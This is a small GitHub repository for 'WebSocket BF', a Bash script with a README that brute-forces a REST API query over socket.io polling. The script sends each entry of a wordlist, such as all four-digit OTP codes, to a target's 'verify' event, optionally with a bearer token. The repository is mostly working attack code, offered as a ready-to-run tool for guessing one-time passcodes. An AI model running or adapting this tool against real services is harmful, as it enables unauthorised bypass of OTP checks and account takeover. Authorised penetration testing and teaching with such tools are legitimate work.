├── .gitattributes
├── LICENSE
├── README.md
├── dict
└── otp.zip
└── src
└── websocket_bf.sh
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Ivan Šincek
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # WebSocket BF
2 |
3 | Brute force a REST API query through WebSocket. Based on cURL.
4 |
5 | Tweak this tool to fit your scenario by modifying HTTP request headers and/or query strings within the script.
6 |
7 | Tested on [socket.io](https://socket.io).
8 |
9 | Tested on Kali Linux v2021.2 (64-bit).
10 |
11 | Made for educational purposes. I hope it will help!
12 |
13 | ## How to Run
14 |
15 | Open your preferred console from [/src/](https://github.com/ivan-sincek/websocket-bf/tree/master/src) and run the commands shown below.
16 |
17 | Install required packages:
18 |
19 | ```fundamental
20 | apt-get -y install bc jq
21 | ```
22 |
23 | Change file permissions:
24 |
25 | ```fundamental
26 | chmod +x websocket_bf.sh
27 | ```
28 |
29 | Run the script:
30 |
31 | ```fundamental
32 | ./websocket_bf.sh
33 | ```
34 |
35 | ## Usage
36 |
37 | ```fundamental
38 | WebSocket BF v1.9 ( github.com/ivan-sincek/websocket-bf )
39 |
40 | --- Single request ---
41 | Usage: ./websocket_bf.sh -d domain -p payload [-t token ]
42 | Example: ./websocket_bf.sh -d https://example.com -p '42["verify","{\"otp\":\"1234\"}"]' [-t xxxxx.yyyyy.zzzzz]
43 |
44 | --- Brute force ---
45 | Usage: ./websocket_bf.sh -d domain -p payload -w wordlist [-t token ]
46 | Example: ./websocket_bf.sh -d https://example.com -p '42["verify","{\"otp\":\"\"}"]' -w all_numeric_four.txt [-t xxxxx.yyyyy.zzzzz]
47 |
48 | DESCRIPTION
49 | Brute force a REST API query through WebSocket
50 | DOMAIN
51 | Specify a target domain and protocol
52 | -d - https://example.com | https://192.168.1.10 | etc.
53 | PAYLOAD
54 | Specify a query/payload to brute force
55 | Make sure to enclose it in single quotes
56 | Mark the injection point with
57 | -p - '42["verify","{\"otp\":\"\"}"]' | etc.
58 | WORDLIST
59 | Specify a wordlist to use
60 | -w - all_numeric_four.txt | etc.
61 | TOKEN
62 | Specify a token to use
63 | -t - xxxxx.yyyyy.zzzzz | etc.
64 | ```
65 |
--------------------------------------------------------------------------------
/dict/otp.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ivan-sincek/websocket-bf/37a37f1afa3c6d440998e45548d8488fb5bdcb08/dict/otp.zip
--------------------------------------------------------------------------------
/src/websocket_bf.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | start=$(date "+%s.%N")
4 |
5 | # -------------------------- INFO --------------------------
6 |
7 | function basic () {
8 | proceed=false
9 | echo "WebSocket BF v1.9 ( github.com/ivan-sincek/websocket-bf )"
10 | echo ""
11 | echo "--- Single request ---"
12 | echo "Usage: ./websocket_bf.sh -d domain -p payload [-t token ]"
13 | echo "Example: ./websocket_bf.sh -d https://example.com -p '42[\"verify\",\"{\\\"otp\\\":\\\"1234\\\"}\"]' [-t xxxxx.yyyyy.zzzzz]"
14 | echo ""
15 | echo "--- Brute force ---"
16 | echo "Usage: ./websocket_bf.sh -d domain -p payload -w wordlist [-t token ]"
17 | echo "Example: ./websocket_bf.sh -d https://example.com -p '42[\"verify\",\"{\\\"otp\\\":\\\"\\\"}\"]' -w all_numeric_four.txt [-t xxxxx.yyyyy.zzzzz]"
18 | }
19 |
20 | function advanced () {
21 | basic
22 | echo ""
23 | echo "DESCRIPTION"
24 | echo " Brute force a REST API query through WebSocket"
25 | echo "DOMAIN"
26 | echo " Specify a target domain and protocol"
27 | echo " -d - https://example.com | https://192.168.1.10 | etc."
28 | echo "PAYLOAD"
29 | echo " Specify a query/payload to brute force"
30 | echo " Make sure to enclose it in single quotes"
31 | echo " Mark the injection point with "
32 | echo " -p - '42[\"verify\",\"{\\\"otp\\\":\\\"\\\"}\"]' | etc."
33 | echo "WORDLIST"
34 | echo " Specify a wordlist to use"
35 | echo " -w - all_numeric_four.txt | etc."
36 | echo "TOKEN"
37 | echo " Specify a token to use"
38 | echo " -t - xxxxx.yyyyy.zzzzz | etc."
39 | }
40 |
41 | # -------------------- VALIDATION BEGIN --------------------
42 |
43 | # my own validation algorithm
44 |
45 | proceed=true
46 |
47 | # $1 (required) - message
48 | function echo_error () {
49 | echo "ERROR: ${1}" 1>&2
50 | }
51 |
52 | # $1 (required) - message
53 | # $2 (required) - help
54 | function error () {
55 | proceed=false
56 | echo_error "${1}"
57 | if [[ $2 == true ]]; then
58 | echo "Use -h for basic and --help for advanced info" 1>&2
59 | fi
60 | }
61 |
62 | declare -A args=([domain]="" [wordlist]="" [payload]="" [token]="")
63 |
64 | # $1 (required) - key
65 | # $2 (required) - value
66 | function validate () {
67 | if [[ ! -z $2 ]]; then
68 | if [[ $1 == "-d" && -z ${args[domain]} ]]; then
69 | args[domain]=$2
70 | elif [[ $1 == "-w" && -z ${args[wordlist]} ]]; then
71 | args[wordlist]=$2
72 | if [[ ! -e ${args[wordlist]} ]]; then
73 | error "Wordlist does not exists"
74 | elif [[ ! -r ${args[wordlist]} ]]; then
75 | error "Wordlist does not have read permission"
76 | elif [[ ! -s ${args[wordlist]} ]]; then
77 | error "Wordlist is empty"
78 | fi
79 | elif [[ $1 == "-p" && -z ${args[payload]} ]]; then
80 | args[payload]=$2
81 | elif [[ $1 == "-t" && -z ${args[token]} ]]; then
82 | args[token]=$2
83 | fi
84 | fi
85 | }
86 |
87 | # $1 (required) - argc
88 | # $2 (required) - args
89 | function check() {
90 | local argc=$1
91 | local -n args_ref=$2
92 | local count=0
93 | for key in ${!args_ref[@]}; do
94 | if [[ ! -z ${args_ref[$key]} ]]; then
95 | count=$((count + 1))
96 | fi
97 | done
98 | echo $((argc - count == argc / 2))
99 | }
100 |
101 | if [[ $# == 0 ]]; then
102 | advanced
103 | elif [[ $# == 1 ]]; then
104 | if [[ $1 == "-h" ]]; then
105 | basic
106 | elif [[ $1 == "--help" ]]; then
107 | advanced
108 | else
109 | error "Incorrect usage" true
110 | fi
111 | elif [[ $(($# % 2)) -eq 0 && $# -le $((${#args[@]} * 2)) ]]; then
112 | for key in $(seq 1 2 $#); do
113 | val=$((key + 1))
114 | validate "${!key}" "${!val}"
115 | done
116 | if [[ -z ${args[domain]} || -z ${args[payload]} || $(check $# args) -eq false ]]; then
117 | error "Missing a mandatory option (-d, -p) and/or optional (-w, -t)" true
118 | fi
119 | else
120 | error "Incorrect usage" true
121 | fi
122 |
123 | # --------------------- VALIDATION END ---------------------
124 |
125 | # ----------------------- TASK BEGIN -----------------------
126 |
127 | # $1 (required) - domain
128 | # $2 (optional) - token
129 | function get_sid () {
130 | # add/modify the HTTP request header and/or any other query parameters as necessary
131 | # EIO (required) - version of the Engine.IO protocol
132 | # transport (required) - transport being established
133 | curl -s -H "Connection: close" -H "Accept-Encoding: gzip, deflate" -H "Authorization: Bearer ${2:-null}" "${1}/socket.io/?EIO=3&transport=polling" | gunzip -c | grep -Po '(\{(?:[^\{\}]+|(?-1))+\})' | jq -r '.sid' 2>/dev/nul
134 | }
135 |
136 | # $1 (required) - domain
137 | # $2 (required) - sid
138 | # $3 (required) - payload
139 | # $4 (optional) - token
140 | function send_payload () {
141 | # add/modify the HTTP request header and/or any other query parameters as necessary
142 | # EIO (required) - version of the Engine.IO protocol
143 | # transport (required) - transport being established
144 | curl -s -H "Connection: close" -H "Accept-Encoding: gzip, deflate" -H "Authorization: Bearer ${4:-null}" "${1}/socket.io/?EIO=3&transport=polling&sid=${2}" --data "${3}"
145 | }
146 |
147 | # $1 (required) - domain
148 | # $2 (required) - sid
149 | # $3 (optional) - token
150 | function fetch_results () {
151 | # add/modify the HTTP request header and/or any other query parameters as necessary
152 | # EIO (required) - version of the Engine.IO protocol
153 | # transport (required) - transport being established
154 | curl -s -H "Connection: close" -H "Accept-Encoding: gzip, deflate" -H "Authorization: Bearer ${3:-null}" "${1}/socket.io/?EIO=3&transport=polling&sid=${2}" | gunzip -c
155 | }
156 |
157 | if [[ $proceed == true ]]; then
158 | echo "#############################################################"
159 | echo "# #"
160 | echo "# WebSocket BF v1.9 #"
161 | echo "# by Ivan Sincek #"
162 | echo "# #"
163 | echo "# Brute force a REST API query through WebSocket. #"
164 | echo "# GitHub repository at github.com/ivan-sincek/websocket-bf. #"
165 | echo "# #"
166 | echo "#############################################################"
167 | if [[ ! -z ${args[wordlist]} ]]; then
168 | count=0
169 | for entry in $(cat "${args[wordlist]}" | grep -Po '[^\s]+'); do
170 | count=$((count + 1))
171 | sid=$(get_sid "${args[domain]}" "${args[token]}")
172 | echo ""
173 | echo "#${count} | entry: ${entry} | sid: ${sid:-failed}"
174 | if [[ ! -z $sid ]]; then
175 | echo ""
176 | data="${args[payload]///$entry}"
177 | data="${#data}:${data}"
178 | send_payload "${args[domain]}" "${sid}" "${data}" "${args[token]}"
179 | echo $(fetch_results "${args[domain]}" "${sid}" "${args[token]}")
180 | fi
181 | done
182 | else
183 | sid=$(get_sid "${args[domain]}" "${args[token]}")
184 | echo ""
185 | echo "sid: ${sid:-failed}"
186 | if [[ ! -z $sid ]]; then
187 | echo ""
188 | data="${#args[payload]}:${args[payload]}"
189 | send_payload "${args[domain]}" "${sid}" "${data}" "${args[token]}"
190 | echo $(fetch_results "${args[domain]}" "${sid}" "${args[token]}")
191 | fi
192 | fi
193 | end=$(date "+%s.%N")
194 | runtime=$(echo "${end} - ${start}" | bc -l)
195 | echo ""
196 | echo "Script has finished in ${runtime}"
197 | fi
198 |
199 | # ------------------------ TASK END ------------------------
200 |
--------------------------------------------------------------------------------